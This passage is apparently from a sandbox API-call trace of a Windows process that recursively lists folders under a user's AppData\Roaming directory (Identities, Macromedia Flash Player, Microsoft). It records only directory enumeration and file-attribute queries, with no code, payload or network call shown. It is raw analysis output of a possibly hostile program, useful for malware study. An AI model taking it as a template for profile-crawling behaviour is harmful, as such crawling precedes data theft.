lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x53 [0068.678] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.678] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.678] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.678] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x53 [0068.678] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.678] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.678] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.678] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.679] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2c [0068.679] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.679] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.679] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.679] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.679] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.679] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2c [0068.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0068.679] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe48df500, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe4905660, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe4905660, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0068.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.679] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2c [0068.679] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.679] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.679] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.680] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.680] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.680] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x39 [0068.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia\\flash player"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4905660, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe4905660, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe4905660, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.680] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x39 [0068.680] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.680] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.680] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.680] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.680] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.680] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x48 [0068.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia\\flash player\\macromedia.com"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4905660, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe69c04e0, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe69c04e0, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x48 [0068.681] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.681] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.681] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.681] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.681] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x50 [0068.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe69c04e0, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe6ea9240, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe6ea9240, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x50 [0068.681] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.681] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.681] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.681] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.681] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpFilePart=0x0) returned 0x5c [0068.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0068.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe6ea9240, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe6ea9240, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe6ea9240, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0068.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpFilePart=0x0) returned 0x5c [0068.682] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.682] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.682] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.682] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.682] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpFilePart=0x0) returned 0x60 [0068.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0068.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe6ea9240, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe6ea9240, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe6ea9240, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0068.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0068.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpFilePart=0x0) returned 0x60 [0068.682] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8ac0 [0068.683] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0068.683] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0068.683] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0068.683] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0068.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0068.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0068.683] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpFilePart=0x0) returned 0x60 [0068.683] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8ac0 [0068.683] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0068.683] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0068.683] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0068.683] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0068.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0068.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.683] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpFilePart=0x0) returned 0x5c [0068.683] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.683] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.684] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.684] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.684] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.684] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x50 [0068.684] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.684] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.684] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.684] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.684] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.684] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x48 [0068.684] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.684] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.684] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.684] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.684] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x39 [0068.685] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.685] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.685] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.685] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.685] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2c [0068.685] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.685] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.685] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.685] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.685] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2b [0068.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0068.686] GetFileAttributesExW (in: 